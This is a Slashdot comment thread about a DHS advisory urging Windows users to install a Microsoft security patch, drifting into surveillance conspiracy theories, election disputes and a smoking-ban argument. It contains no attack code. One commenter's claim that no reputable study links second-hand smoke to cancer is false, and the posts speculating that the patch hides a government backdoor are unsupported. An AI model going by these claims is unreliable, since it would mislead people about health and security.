I have a better solution: I run Windows 2000 SP4 (XP is bloatware in my opinion) inside a Virtual Machine on Linux. The virtual machine has no connection to the internet (its IP address is blocked by the router), and does not run email or a web browser. When the copy of Windows is shut down, *it reverts to a snapshot*. All data is stored external to the VM's "C drive", where it's protected by Linux. Voila, no updates needed!

We've all heard how Microsoft's latest efforts to fight piracy hurt innocent people running legitimate copies of their software. We have all seen how Microsoft installs "beta" software without asking permission. Distrust, like trust, is earned. The folks in Redmond have *earned* my distrust.

Re:But Can Microsoft Be Trusted?

[Tim C]

We have all seen how Microsoft installs "beta" software without asking permission.

I haven't - do you have a source for that?

Why not recommend replacing Windows?

[Secrity]

Why is it that the only US government recommended way to fix this alleged security problem is to install a patch? Why did they not list any other possible ways to remediate the problem, such as replacing the OS? I am going to have to agree with the conspiracy theorists on this one -- the government didn't suddenly become concerned about a security problem in Windows, there is some other reason that the government wants people to install this "patch".

Sorry, slashdot is just tinfoil hat heavy

[AHumbleOpinion]

What a remarkable commentary on the sad state of affairs in the "Land of the Free" that our government makes a press release regarding patches to our computers and the first thing we think of is that the patch is associated with monitoring us somehow. For the record, I had the exact same thought as the OP and agree 100% with what he said.

Sorry, but these two post really comment on the sad state of affairs on slashdot. Slashdot is a bit heavy with tinfoil hat types. One of the primary rules of espionage is to just blend in, fade into the background, don't call attention to yourself. If the government were to do something like this, and I don't believe they would, it would be quietly slipped into a run of the mill security update. Nothing special, just a routine monthly security update like the ones we have come to expect.

Re:Sorry, slashdot is just tinfoil hat heavy

[Andrewkov]

But a lot of people don't download the updates, which could be the reason for the warning.

Re:Sorry, slashdot is just tinfoil hat heavy

[The Spoonman]

Sorry, but these two post really comment on the sad state of affairs on slashdot. Slashdot is a bit heavy with tinfoil hat types.

Perhaps, but I would argue that the growing number of tinfoil hats is due to the growing amount of government misconduct going on right now: erosion or outright removal of basic rights, blatant collusion with corporations to screw as much money out of consumers as possible which includes rewriting emminent domain to allow corporations to take people's property, spying on the populace's phone and financial records, a growing theocracy hell-bent (pun intended) on ensuring EVERYONE follows christian beliefs, no matter how whacky. Let's not forget trying to subsititute "intelligent design" as actual fact in the classroom, all the while calling global warming "junk science".

And, as bad as all of that sounds, that's just the small stuff. If we start counting in the current jihad...er, crusade...uh, "War on Terror"...yeah that's it...well, the atrocities just keep adding up.

As the old adage goes: "just 'cause you're paranoid, don't mean they ain't out to getcha."

Re:Sorry, slashdot is just tinfoil hat heavy

[AHumbleOpinion]

But a lot of people don't download the updates, which could be the reason for the warning.

The updates are automatic. You have to manually disable that feature. Do you really think the type of person who would manually disable automatic updates is going to run out and do whatever Homeland Security says to do?

Re:Sorry, slashdot is just tinfoil hat heavy

[Red Flayer]

One of the primary rules of espionage is to just blend in, fade into the background, don't call attention to yourself.

Ah, yes, one would want to avoid the classic blunders, including never getting involved in a land war in Asia and never getting into it with a Sicilian when death is on the line.

Might I just add two things:

(1) The backdoor could have been a previous patch cycle. Or planned for a future patch cycle. Establish a habit of compliance, then do the dastardly deed.
/tinfoil hat on, for good reason.

(2) As to blending in and fading into the background, not necessarily so. DHS could easily be unaware of the actions of other agencies that are actually doing the espionage (e.g, the NSA). This would be called misdirection. At this point, what with the monitoring of telephone calls, internet activity, etc domestically, it's giving too much credit to the government to think that they AREN'T trying to expand their monitoring capabilities at every opportunity. Or do you think that they've suddenly stopped?

Re:Sorry, slashdot is just tinfoil hat heavy

[AHumbleOpinion]

... a growing theocracy hell-bent (pun intended) on ensuring EVERYONE follows christian beliefs, no matter how whacky ...

Sorry, but you're going to have to go find some impressionable young mind that doesn't know any better to buy that. I'm old enough to remember how Reagon was demonized just like Bush Jr., how Reagan/Fallwell were going to turn the US into a theocracy, ... I'm old enough to remember how Gore was going to outlaw free speech in music and movies, ... I'm old enough to remember how Clinton was demonized, how Clinton was going to turn the US into a socialist state subserviant to the UN, ...

The truth is the people, the voters, are in control. Politicians of the left and right are only getting away with what the voters *allow* them to get away with. Stupid crap happens because the irritation level does not rise to a level that motivates enough voters. When politicians do cross that line they get whacked down by the voters.

Re:Sorry, slashdot is just tinfoil hat heavy

[mgblst]

Ah, but that is exactly what they would expect you to think, isn't it. So they do the opposite, taking a cue from Agent 86. Brillant!

Re:Sorry, slashdot is just tinfoil hat heavy

[Anonymous Coward]

You said:
"it would be quietly slipped into a run of the mill security update."

They already have it is called WGA!

Re:Sorry, slashdot is just tinfoil hat heavy

[Yvanhoe]

So basically, what you are saying is that the slashdot crowd paranoia is justified but only misdirected ? Note that I agree wholeheartedly. After all, there has been phone wire-tapping, e-mail is probably watched too, but I believe it is easier to do it directly through the (willing) servers and ISPs than through a patch to a single OS that can always reverse-engineered.

Re:Sorry, slashdot is just tinfoil hat heavy

[Anonymous Coward]

Sometimes, the best place to hide something is right out in the open...

Re:Sorry, slashdot is just tinfoil hat heavy

[GungaDan]

Automatic updates is not enabled by default in windows XP Pro. You will be endlessly harassed with popups asking if you'd like to turn on automatic updates immediately post-install, but it is not enabled by default.

Re:Sorry, slashdot is just tinfoil hat heavy

[AHumbleOpinion]

I realize you admitted your tinfoil hat is on but you do overstate things a bit too much. For example "the monitoring of telephone calls". The government was not caught doing large scale monitoring of telephone conversations. They were looking at phone records, essentially your phone bill: number dialed, duration of call, etc. It's not even clear that this info is your personal info or if it is a corporation's internal "line switching" logs. "Internet activity", the same info web sites are selling to advertisers?

Re:Sorry, slashdot is just tinfoil hat heavy

[Red Flayer]

I'm sorry, I must have forgotten the new definition of "monitoring." (Sorry for the sarcasm :)). I purposely did not write wiretapping or eavesdropping; monitoring calls (even after-the-fact) is exactly what they are doing.

"Looking at phone records" systematically IS monitoring, and shouldn't be prefaced with the word "just" -- it is a big deal.

"Internet activity", the same info web sites are selling to advertisers?

The government needs to be held to a higher standard than corporations. And no, it's more than the data sold to advertisers -- we're talking entire search logs. And that's on the large scale -- they can get an individual's internet activity log simply by asking an ISP -- and the ISP is forbidden to tell you that they have handed the information over. Same for library records, etc.

Re:Sorry, slashdot is just tinfoil hat heavy

[Anonymous Coward]

But a lot of people don't download the updates, which could be the reason for the warning.

In addition, I wonder if more people have turned off automatic updates since the pushing of "Genuine Advantage".

Re:Sorry, slashdot is just tinfoil hat heavy

[budgenator]

Actualy I've worked pretty closely with some guys from the DEA, FBI, BATF and Secret Service, and the truth is they're not bad people but I wouldn't want their trash talk to turn into group-think either. One thing we should realize is that the mid and lower levels people know they have powers that they shouldn't have and they need these powers to keep some really vicious people under control. Most of these guys have families and they want to protect their families as much as they want to protect us, and if they mis-use these powers they really shouldn't have, they'll be taken away, they realize this. Using these let's call them Supra-legal powers in cases of normal criminality would be such an abuse.

Re:Sorry, slashdot is just tinfoil hat heavy

[thenymph]

In any event any wise person wouldn't poopoo where they eat anyway. So, why worry unless you are stupid enough to actually have something to hide instead of hiding it on some other poor bastards box? At the end of the day, assume that they are listening to avoid any potential embarassment. Just my tin foil hat philosophy, not a sermon, just a thought.

Re:Sorry, slashdot is just tinfoil hat heavy

[sleigher]

yup..... look at lieberman.........

Re:Sorry, slashdot is just tinfoil hat heavy

[PoconoPCDoctor]

Nothing special, just a routine monthly security update like the ones we have come to expect.

Hmmm...like the monthly and now routine and also now quite supicious Windows Genuine Advantage updates?

Say it ain't so, Billy boy, say it ain't so!

Re:Sorry, slashdot is just tinfoil hat heavy

[The Spoonman]

I'm old enough to remember how Reagon was demonized just like Bush Jr.

Firstly, I'm old enough, too. Reagan was a porn star compared to Bush Jr. and Crew. This goes beyond Bush. This enters the Senate, the House and now the Supreme Court. Zoning boards across the nation are zoning anything the chrisitians don't like out of town (porn shops, strip clubs, etc). Are you old enough to remember the hub-bub about Janet's boob? When was "intelligent design" even on the table at school boards, let alone a serious consideration?

The truth is the people, the voters, are in control. Politicians of the left and right are only getting away with what the voters *allow* them to get away with. Stupid crap happens because the irritation level does not rise to a level that motivates enough voters. When politicians do cross that line they get whacked down by the voters.

So, what you're saying is you're old enough to remember the dream, but haven't awakened to the reality yet? 'pubs are fixing elections across the country, ADMITTING to fixing elections, and no one raises an outcry. Of course, give people even the whiff that their american idol election is fixed and then you'll get a letter-writing campaign.

Re:Sorry, slashdot is just tinfoil hat heavy

[krack]

The truth is the people, the voters, are in control.

Maybe you missed this and the following backslash, slashdot articles about voting fraud. We *might* be in control, but we don't know. If someone wanted to rig an election, the infrastructure is all there. It is now possible that stupid crap gets through because the method of removing stupid crap (voting) is neutered.

Without clicking through - openvoting claims to have found a simple (jumper setting on mobo) method to cause voting machines to boot from unverified and uncertified images.

Re:Sorry, slashdot is just tinfoil hat heavy

[Kazoo the Clown]

Yes isn't this a wonderful situation we're in. On the one hand, there are the terrorists who wish to rather randomly inflict harm on us. On the other hand, there's the fearful and/or incompetent voters and, by extension, their representatives. When deciding which one presents a greater threat, one must ask, who yeilds the greater power? How compentent is its direction? Do we not need protection from the consequences of the actions of both sides? Simply because the intent of a government is to protect its populace doesn't mean its actions won't produce new and potentially greater threats. Should we ignore unfortunate outcomes simply because the intents were good? Should we then say nothing, even if we can see such outcomes in the works?

A majority of Americans are exceedingly superstitious, and to the superstitious, intent trumps outcome and competency is unquestioned. It is the knee-jerk belief system of those too lazy to think.

Re:Sorry, slashdot is just tinfoil hat heavy

[BoberFett]

What do local zoning laws have to do with Christians? I'm not a Christian, and I love strip clubs. But I'm not about to blame zoning laws on this "religious right" bogeyman that lefties love to blame. I don't have a link, but Seattle was having a fit about strip clubs not long ago, and that's hardly a hotbed of Christianity. Maybe you need to get the facts straight before shooting your mouth off.

Re:Sorry, slashdot is just tinfoil hat heavy

[charlesnw]

Woah. You need to chill dude.

TCO includes this?

[140Mandak262Jamuna]

Remember, the ad campaign by Redmond "Get The Facts"? It hired a friendly outsider to do some Total Cost of Ownership and concluded that "being vendor locked into Microsoft and paying all the license fees, tribute, bounty, ransom, blackmail and whitemail [*] it demands now and in the future is the most economical thing for all corporations, irrespective of size, to do"?

I wonder if that study included all these costs associated with these critical security upgrades too.

[*] Some trivia for the curious: Whitemail is the tax paid by serfs to their lords in silver coins. Blackmail is tax collected in the form of goods.

What if people CAN'T comply?

[Yvan256]

You know, what if they're using Macs or Linux?!

Is homeland security going to fine them, throw them in prison?!

<pananoid>Homeland Security is working with Microsoft to further their monopoly!</pananoid> ;-)

Re:What if people CAN'T comply?

[Yvan256]

Try looking more carefully at the 3rd line of my post. Yes, that was supposed to be funny. I was trying to make fun of over-paranoid Slashdot users.

I guess I'll have to be extra-obvious for the average Slashdot users next time. <g>

I'm on the fence

[Grand Facade]

If I don't patch my machine it is vulnerable.

If I do patch my machine I get WGA, whatever other unknown bugs introduced. Also ever notice how MS machines seem to get more unstable as we get closer to a new release? Where's the KB article on that?

DHS worried about actual events, not about a plot?

[Gary W. Longsine]

Do they know something we don't know?

Rather than secret knowledge about a plot, most likely (and most simply) DHS are worried about the recent use of the various Microsoft Office defects (including defects in Word, Excel, and Power Point, see for example: US CERT SA06-139A). More than one such have been discovered in the last few months. The defects have for the most part been discovered by accident by people investigating actual exploits, rather than by white hat's looking for defects to report. At least one of the attacks appeared to be directed against a specific agency.

It probably (finally) occurred to someone that perhaps the discovered attack for each of these wasn't the *first* attack.

This attack provided interesting and somewhat rare evidence that exploits are sometimes discovered by the black hat's and used for unknown (long) periods of time, quietly, before they are discovered by white hat's or by script kiddies (who invariably exploit them less than discretely such that the defects are discovered quickly).

These recent events should prompt a fair number of security consultants to have somewhat more polite versions of "I told you so" conversations with their unruly clients, who typically don't believe this really happens "in the real world". Yes, it really happens. It really happens in the real world. Let's get real.

Just remember...

[the.o.ster.66]

...just because you're paranoid, doesn't mean they're *not* out to get you.

shouldn't they order Microsoft

[Anonymous Coward]

Shouldn't they just order Microsoft to fix their dam operating systems. And office packages, and services, web server, database products, and web browser.

Oh what the hell, just order citizens to stop using Microsoft products.

Or

[Ruff_ilb]

>_>

That's what they WANT you to think

_ /tinfoilhat on

Re:DHS worried about actual events, not about a pl

[Gary W. Longsine]

Drat... I forgot to mention an important bit...

Although the DHS warning is about the remote worm exploitable hole, not the office holes, I meant to explicitly suggest that the reason the DHS have their undies in a bunch is because of their heightened sensitivity right now. In turn, I suspect their sensitivity is due to the recent exploitation of the Office holes, not a terrorist plot as such. There have been a couple remote rootable exploits that MS has patched in the past six months which didn't elicit such a response from DHS. What has changed probably isn't the occasional discovery of worm exploitable defects, nor a terrorist threat against The Internet (which threats are omnipresent, eh?) but rather the DHS sensitivity, due to these other recent problems.

Pot-Kettle-Black

[doulos447]

Of course admins who are diligent will keep the systems patched. Not sure why we need DHS to stick their collective noses into it, and considering the fact that they have a bad habit of flunking IT security audits, maybe they should spend more time worrying about their own security.

http://www.eweek.com/article2/0,1895,1938866,00.as p

I hate patch day!

[Anonymous Coward]

It's always the same. I get up and turn on the PC, as a a Winamp playlist is in the startup folder and I want music with my coffee. I pour a cup and see a yellow box in the corner of the computer.

Now, before I have my second cup of coffee I have an IQ of about half my age. So I completely forget the previous month. I tell it to download the patches, looking to see if some insidious Microsoft crap like WGA isn't there (even a total moron like I am before my coffee does that) and download. While I'm sitting there, I of course check my email.

As I'm responding to someone, the box pops up on the screen, interrupting what I'm doing to inform me that it's done downloading.

When I've composed my wits a bit and remember what I was trying to type when Windows so rudely interrupted me, I start typing and another God damned box pops up, do I want to install? Stupidly I click "yes".

Then I'm interrupted every five fucking minutes asking me if I want to reboot or should it wait. WTF, I told you "no" once, you Goddamned stupid machine! But it keeps nagging every five goddamned minutes.

They can wait a month to get the patch to me on their schedule (patch Tuesday) even though the exploits they're patching have been in the wild for weeks, but I can't wait thirty minutes to reboot the fucking computer!

I hate Microsoft. When Patch Tuesday comes I always consider stealing a B-52 and carpet bombing Redmond with it. Fucking asshats.

because they got hacked

[stormi]

I'm sorry but all of these conspiracy theories floating around seem completely ridiculous to me. If I were to guess why the government is recommending we patch Windows, I would say it's because they got hacked just a few weeks ago and there was an article on slashdot about it. This is probably their lame way of covering up or making things right again, even though anyone who cared has obviously forgotten about it by now anyway. Microsoft's advice to them on how to not get hacked was probably along the lines of "patch Windows regularly" and they probably bought it. Now the Government says to the Vulnerable Public, have no fear! We have it figured out! It happened to us too, but we know you need to patch things!

Just my two cents.

Trust us - we're the government - Sntr McCarthy

[Anonymous Coward]

Please install these rootkits, I mean patches as soon as possible so that we can begin arresting the problems quickly.

Agreed

[bob291]

My first thought also, from within, is that this was somehow tied to an information gathering linked either to the Lieberman loss in the CT primary or the thwarting of the airline bombing in England. Very sad...

but...

[Anonymous Coward]

does it run on Linux?

They learned the communicty an important lesson

[rjdegraaf]

and we have not seen virii on Unix boxes since then.

Re:They learned the communicty an important lesson

[zaphod_es]

nor any viruses

Re:They learned the communicty an important lesson

[walt-sjc]

virii is not a word.

General El Mao...

[JW.Axelsen.Sr.]

Hahahahaha. What, am I about to get hacked with a 100-dollar hand-crank laptop? Thanks DHS, but the record shows that I seem to be much more adept at computer security than the DHS...and I get high. Regularly.

in other news...

[nazsco]

1. microsoft is spending 3.8bilions in PR and no one knows where it goes.

2. Russian submarine manufacturer also spends bilions in PR that no one knows where it goes.

3. Homeland security says 'patch you submarines'. no, don't buy one without holes, use gum.

So, if you don't apply the patches, then what?

[Anonymous Coward]

Then the terrorists have already won.

Duh!

Re: So, if you don't apply the patches, then what?

[Anonymous Coward]

In particular, the website would be the location of the cobwebs over the lock on your cell.

Reason for the urgency

[Aqualung812]

Most Windows Updates fix issues that require human intervention to spread. Clicking on a bad link, opening a bad email. A few people will always do that, but you have to continue to have people doing that for it to spread.

Without MS06-040, the malware can spread computer to computer within a protected network after the first breech though a link or email. So, one user screws up and all 10,000 computers behind your university firewall are infected in a few hours. Then, all someone has to do is take their laptop from your infected network and plug it into their network. Do you have anyone on-site right now from IBM, HP or Dell? If they plug their laptop in for a patch, then go to their home network, they will spread that virus to another group of 10,000+ computers all without intervention. The potental is huge that a virus could spread worldwide within 24 hours of hitting, and then be pretty nasty to rid off of a network. See CodeRed and others.

My dual boot lappy

[Almost-Retired]

So I head off to boot my lappy to XP, something it hasn't done in weeks, run the updater, deselect the WGA option, and the sonofabitch installed it anyway.

Is there no end to the microsoft perfidity?

Oh, wait, this is /., and that makes me look like a nubie, which I hardly am, and you all know that. IMO, the inbreeding in Redmond has reached the point of no return, and I'm thinking of reclaiming the space the XP install uses for something usefull.

--
No Cheers this time, Gene

Re:My dual boot lappy

[Anonymous Coward]

Actually, the fact that you said "nubie" makes you look like a newbie. Unless you're from Nubia, of course.

Anyone else a little happy to see this? Paranoid?

[kinglink]

I mean everyone seems to think the Homeland security is out to get us?

Let's consider the other side. How many people already investigate every patch microsoft sends us even before this announcement? How fast did we learn about the Genuine Advantage Disadvantage?

The fact is we know exactly what's in the patches, we've heard nothing about a bad patch or a big brother patch, the sort of thing these guys hunt for in the first place? So why is everyone paranoid?

I think the scarier thing is that Homeland security is normally a very tight lipped organization, they didn't meantion a threat but I believe we have to believe that they know of a plan to attack windows based machines on a wide scale and in a viral format, probably at a level no one could ever imagine?

If you really think they are out to get us, feel free to check the updates, crack them and find any secrets they have there. Post them on underground boards and with in a week we'll have a way to circumvent them. But you're probably not going to find anything. Instead you're probably going to find a virus in the upcoming weeks that would have crippled the nation but instead just bounced weakly off the computers because of the updates that came out this week.

why work so hard

[madhadder]

Why would the government work so hard to spy on us. When AOL will just release all our data from searches and do it for them.

WGA - Sorry

[Anonymous Coward]

Sorry feds. Theres no way i can patch my windows without exposing myself to the threat of WGA suddenly deciding i'm a pirate.

It's too much to risk.

suspicious

[Intangion]

ya it definately is suspicious for .. years? now they have been trying to find more and more ways to spy on americans, and now they are tell us to apply a patch that supposedly closes a hole they could use to spy on us? did they not need it anymore? they found a better hole to exploit? or is the patch creating a more secure backdoor for them?

The real issue

[tholomyes]

This update is as important as it gets. There are vulnerabilities in every major MS program which allow remote code execution, which means that as soon as the exploit is discovered, it can take advantage of holes all over your system.

Affected programs and services:
- MS Server Services (TCP 139 and 445).
- DNS servers
- Internet Explorer
- Outlook Express
- Microsoft Management Console
- HTML Help
- Visual Basic
- Microsoft Office
- Windows kernel

I'm not too surprised that they're trying to push awareness of this patch. It was the lack of patching several weeks beforehand that allowed Code Red to do as much damage as it did.

WTF?

[wolff000]

The subject title may be crude but after reading a lot of these comments its the first thing that came to mind. Why do so many people find it surprising that there are alot of tin foil hat types on /.? As far as I can remember we have pretty much been the majority. Yes I have my tin foil hat on now. Most geeks I know are very leary of the gov and intelligence agencies. So why are so many people here in shock that a lot of us are so suspicous of them asking us to update windows when they NEVER have before? Or any other os for that matter. I think the more intellignet a person is the more suspicious they are going to be of the government. Why because we can see what's going on and understand it better than someone of lower intelligence. we are able to put all the oddds and ends together that an average man may miss. We have to remember that unfortunately most people aren't well educated and simply pay no attention to the world around them. TIN FOIL HAT WEARERS UNITE!

Re:WTF?

[Fantastic Lad]

Why because we can see what's going on and understand it better than someone of lower intelligence. we are able to put all the oddds and ends together that an average man may miss. We have to remember that unfortunately most people aren't well educated and simply pay no attention to the world around them.

While I agree in part with you, I think the intelligence of Slashdotters is little different than any form of horse power. It can be harnessed, blinded and diverted along narrow pathways. The day when Slashdotters stop limiting their awareness through the repeated tapping of their state-installed biases and accepted belief systems will be the day that the world stops writhing in misery.

For instance. . .

You say Slashdotters don't trust the government and secret services, and yet most Slashdotters I've encountered seem to buy whole-hog into the education and science standards which are entirely controlled by those same agencies, (along with corporate interests, which usually amount to the same thing).

This seems more than a little broken to me in really obvious ways. Until people can use their logic without getting clouded with emotions, (and vice versa!), people won't be effective thinkers. They'll be slaves.

-FL

How Many?

[jacem]

How many stories have there been in the last year alone about corrupt voting machines and election fraud?

JACEM

Re:How Many?

[AHumbleOpinion]

How many stories have there been in the last year alone about corrupt voting machines and election fraud?

No election is perfect, there have always been irregularities, bad ballots, subjective counting, etc. The dirty little secret is that vote counting has always been +- 1-3%. Republicans were hysterical when it went against them and Kennedy won in 1960, Democrats were hyper hysterical when it went against them and Bush won (yes, won, the newspapers did a recount and found that even using Gore's suggested recount Bush would have won) in 2000. The truth is those elections were essentially statistical ties and the winner is essentially random. In the Bush case the randomness was the Florida ballot layout, thankfully that layout was done by Democrats or the conspiracy theorists would be going absolutely ballistic. I don't recall the random event(s) responsible for the Kennedy win in 1960. In any case my point still stands, when the elections are that close neither party has annoyed the voters enough to motivate them. In 2000 both parties had parity in terms of the BS they were pulling, however not enough to motivate a third party.

Re:How Many?

[rufus t firefly]

Excuse me if I take this with a Buick-sized grain of salt, at least the part dealing with the Bush-Gore recount. You said that "even using Gore's suggested recount" that Bush would have won. The Wikipedia article on the election confirms this, but points out that there was a horrendous problem with "overvotes", which although Gore did not request an official recount of overvotes, if they were to be considered, he would have won. You made it seem as though any outrage over the election was pointless as Bush would have won in any circumstance, which simply isn't the entire truth... and I didn't particularly care for the disenfranchising of minorities in Florida, either. A candidate who has to win by trying to convince people not to vote, throwing out their registration cards, or any of the other awful scenarios which we saw in the 2000 elections, probably shouldn't be considered a clear victor, and certainly not the better of the two candidates.

Unfortunately, the issue isn't that there is an error or irregularities, but that only a small percentage of the voting population actually has any sort of choice about the election. David Brin wrote a great article about this, pointing out that incubents almost always win, and most states are "no contest" for a particular party, so the only way to produce change is to vote in a primary (see the recent Lieberman loss in Connecticut).

As for the Kennedy-Nixon election in 1960, I think that although there are a number of scenarios which were very similar (voting fraud, etc) to the 2000 elections, the voters were dealing with a pretty awful choice: Kennedy, the good looking guy who brought us to the brink of WW III, or Nixon, the weasely guy who eventually redefined presidential corruption and dishonesty.

I dare say that Al Gore, though he may have seemed to be a relatively boring candidate for president, could not have done a worse job in terms of cronyism, rampant constitutional revisionism, and astroturfing support for an unpopular war in another country. That's leaving out the lying to the American public thing (about something actually *pertinent* to the country), the dismal response to Hurricane Katrina (not even placing all the blame on him, he *did* put the idiot in charge of FEMA who sat on his thumbs for a few days while New Orleans was being flooded), or the list of shady and probably indictable characters on his staff.... No president should *ever* have to have the American public look past all of that. We're a laughingstock, and our knee-jerk reactions to terrorism (removing personal liberties and spying on Americans) indeed looks like we've allowed terrorists to *win*, as opposed to the UK reaction.

You can hold any political opinion you want ... but it's very difficult to make a case that this guy has done a good job, and justifying why he's in office seems like an equally poor idea.

Re:How Many?

[charlesnw]

There are way to many links and reliance on wikipeida in your post.

I think you missed the sarcasm

[Gr8Apes]

In a nutshell, because we don't live in Communist China. The government can regulate business, but short of passing laws and enforcing them, they can't force a business to do something that is within their legal rights.(With the exception of the anti-smoking in private business laws, which are completely unAmerican)

I'm perfectly fine with the anti-smoking laws. They're just as american as the ones that prevent me from "blowing" lead your way when you blow smoke mine. If you wish to remove the former, also remove the latter.

"Wait, it's not the same thing" you say? I'd beg to differ. The only difference is in speed of effect. (Hint, the lead's just "blowing" in your general direction - it might hit, it might not. Do you feel lucky?)

And we need less "hand-holding" "protect us from ourselves" laws. If a business, or you at home wants to block those ports, feel free - but the government shouldn't be involved. I think that decision should be left to the individuals, and not mandated.

The proper thing would be for Microsoft (yes, good ole MS) to stop shipping machines that default to "please pwn me". Second would be to encourage ISPs ship those little DLS/Cable routers with the FW enabled with ports below 1024 blocked.

It's not about protecting people from themselves, but more about protecting me from you in my view. I'm perfectly fine with you shooting yourself in the foot, or elsewhere, and firmly believe you should have the right to do so. :)

Re:I think you missed the sarcasm

[Mister Whirly]

"I'm perfectly fine with the anti-smoking laws. They're just as american as the ones that prevent me from "blowing" lead your way when you blow smoke mine. If you wish to remove the former, also remove the latter."

Dead wrong. Shooting people is illegal, smoking is not. If smoking is so bad for everyone, why not just do the right thing and make the act of smoking illegal? Your analogy is bad because you are comparing something that is already illegal to do anywhere with a perfectly legal act. For that matter, why not ban fat people from eating McDonalds?? Obesity kills far more people every year that the bullshit "second hand smoke kills" and can be easily proven by respectable studies. Hell, cars kill more people more year than "second hand smoke", why not ban cars also? Hey, it's just protecting me from people like you who drive....

Re:I think you missed the sarcasm

[Gr8Apes]

Dead wrong. Shooting people is illegal,

Really? Check Google for an interesting eye-opener. But, for the record, I never claimed to be shooting people. I just want to randomly pull the trigger. This is much closer to the second-hand smoke analogy.

why not ban fat people from eating McDonalds?

Because, perhaps, McDonalds isn't hurting anyone other than the person eating there? If you notice, I stated I'm perfectly fine with you figuratively shooting yourself in the foot, or elsewhere, in the GP. That goes for smoking too, I personally don't care if you smoke, just don't subject me to it. I don't support laws that attempt to control people for their own best interest.

Hell, cars kill more people more year than "second hand smoke", why not ban cars also?

That's the closest thing to an argument you presented, as at least it matches conditions. The same type of laws apply to driving that apply to smoking: you may only do so in designated areas. There are legal deterrents for attempting to do either outside of those areas (ie, inflicting your deed upon others).

There's one corollary to this: if you wish to engage in risky behavior, don't expect others to pick up the tab if it hurts you. Drivers pay insurance (supposed to anyways). Standard Life insurance usually has clauses excluding activities like sky-diving, you get to pay an extra premium if you wish your heirs to collect and you engage in those activities. And so forth.

Re:I think you missed the sarcasm

[Mister Whirly]

"Pulling the trigger randomly" would never be considered "self-defense" if you hit someone. And for the record, the amount of particles in the air from second hand smoke is smaller than the amount in the air you breathe in if you live in a city. When the air was tested in smoke filled bars in the city I live in, the air quality was 4 times higher than the EPA standards for "clean air". The smoking ban laws were never for health reasons, they were because A) people want to tell other people what to do B)people don't like the smell, think it is disgusting etc. Don't blow smoke up my ass (pun intended) about wanting to protect my or other's health - the truth is no reputable study that indepenedent researchers can verify that proves any link between cancer and second hand smoke.
The funniest thing is that I am finding myself siding wwith a lot of conservatives on this issue, and all the liberals are the ones fighting so hard to strip rights away from people. That doesn't sound very liberal now, does it? Oh, in case you care, I am a non-smoker who just happens to think these tactics are complete bullshit - not just a whiny smoker with a vested interest. Today they are banning something (legal) that I don't do (and I assume you don't) but tomorrow it may be something that you or I do participate in.

Re:I think you missed the sarcasm

[Gr8Apes]

The smoking ban laws were never for health reasons, they were because A) people want to tell other people what to do B)people don't like the smell, think it is disgusting etc. Don't blow smoke up my ass (pun intended) about wanting to protect my or other's health - the truth is no reputable study that indepenedent researchers can verify that proves any link between cancer and second hand smoke.

Not for health reasons? Really? I don't know about you, but whenever I'm around smokers, I wind up with a headache for a day or more, due to serious sinus congestion. I'm not even asthmatic. I can't imagine what it'll do to someone with a real sensitivity.

But, I'll grant you that A) and B) had something to do with it (and you forgot the ever all-important "Think of the Children!!!"). For me, A) doesn't matter, but my personal issues go far beyond B) - the smell does remind me of ass, but even that's not enough to bother me to the extreme - so do many perfumes. It's the rather quick closing off of nasal passages that gets me, along with excessive mucus build-up, when exposed to "excessive" smoke. Prolonged exposure results in extended symptoms.

Now, I don't know about you, but that's definitely not a good thing. It even sounds like the symptons experienced by many who try a cigarette for the first time. Nausea is another factor, although that only hit me once during a prolonged stay in a very smoky bar during a snow storm.

But this is all anecdotal. If I had more time, I'd reference some of those studies you claim don't exist. I saw one just a week or three ago on CNN.

Re:I think you missed the sarcasm

[Mister Whirly]

"But this is all anecdotal. If I had more time, I'd reference some of those studies you claim don't exist. I saw one just a week or three ago on CNN."

Studies can prove anything if you screen out the data that doesn't support what you want to find. That's why I also used the word reputable. All the studies you are thinking about were not conducted scientifically - they knew the result they wanted to find, and only use the data that supported it. There have been several studies done http://www.forces.org/evidence/evid/second.htm that proved there were no links between second hand smoke and cancer.

"I don't know about you, but whenever I'm around smokers, I wind up with a headache for a day or more, due to serious sinus congestion."

That is about as much scientific proof as some of the studies you cite have... I hang around smokers all the time and the worst thing that happens is my clothes smell like an ashtray... Maybe you have a helath problem that is amplified by smoke, but I doubt that smoke is the cause of your problem.

Re:I think you missed the sarcasm

[Gr8Apes]

Studies can prove anything if you screen out the data that doesn't support what you want to find.

Whether reputable or not, your statement brings into question your own referenced study. Sort of like the studies that found no links to cancer from smoking, or that smoking is not addictive, or that black lung disease was not caused by coal dust - the list of bad studies goes on and on.

On this topic - cigarette smoke contains carcinogens and irritants. This is indisputable. Whether the levels in the smoke bother you is irrelevant. They exist.

That is about as much scientific proof as some of the studies you cite have... I hang around smokers all the time and the worst thing that happens is my clothes smell like an ashtray... Maybe you have a helath problem that is amplified by smoke, but I doubt that smoke is the cause of your problem.

Actually - it's quite scientific - expose me to smoke, the sinus issues commence. Remove smoke, they abate. It's repeatable. Matter of fact, using the repeatable nature, I know what my tolerance limit is, and that it can be altered by continuous exposure or in closely spaced windows of exposure. I also know that being removed totally from it for 3 weeks or more reduces my tolerance back to its original level. (I used to have a smoking roommate that traveled, plus the singles scene at bars way back when, as well as residing in areas where smoking was allowed in the work-place.)

My health problem? I believe it's not a "health problem", but just the natural tolerance level. You'll get the same reaction in any non-smoker, it's merely a question of what level of smoke is required to trigger it. Much like the sun and sunburn/skin cancer. Just because 20 minutes of being outside in the sun doesn't bother someone, doesn't mean it won't bother someone else. And, if you take that same person and expose them to little bits of sun and acclimate them to it, anyone that can create melannin will become much more tolerant, and can spend hours in the sun. Take them out of the sun for a couple of months, and they're back to square one.

So - do people who sunburn in 20m or less have a "health problem"? No, they don't. (I'm excluding a small class of people who cannot tan and therefore don't increase their tolerance to sun exposure over time)

Anyway, to respond to your last ponderance - I don't have a health problem - smoke is the health problem, and hence reports are growing that state this fact. Matter of fact, this is the basis for the "blowing lead" statement several posts back. The potential effect is different only in degree.

Went to microsoft.com/windowsupdate

[gsfprez]

and all i got was a rude error message.

that doesn't usually happen with Safari unless the website is down... curious...

Possible Conspiracy or just being paranoid?

[Ghost-in-the-shell]

Has anyone considered the possibility that the patches contain monitoring code that will in fact allow the department of Homeland Security to monitor people's computer communications? It is not as if such accusations have not come forth before. This article over at the CBC website comments about alleged CIA operations, in where they are flying prisoners around the globe to be handled in different jurisdictions. This particular article comments about such flights landing in Canada. In Gander to be exact. So it is not to far fetched to consider possible ulterior motives to getting people to update.

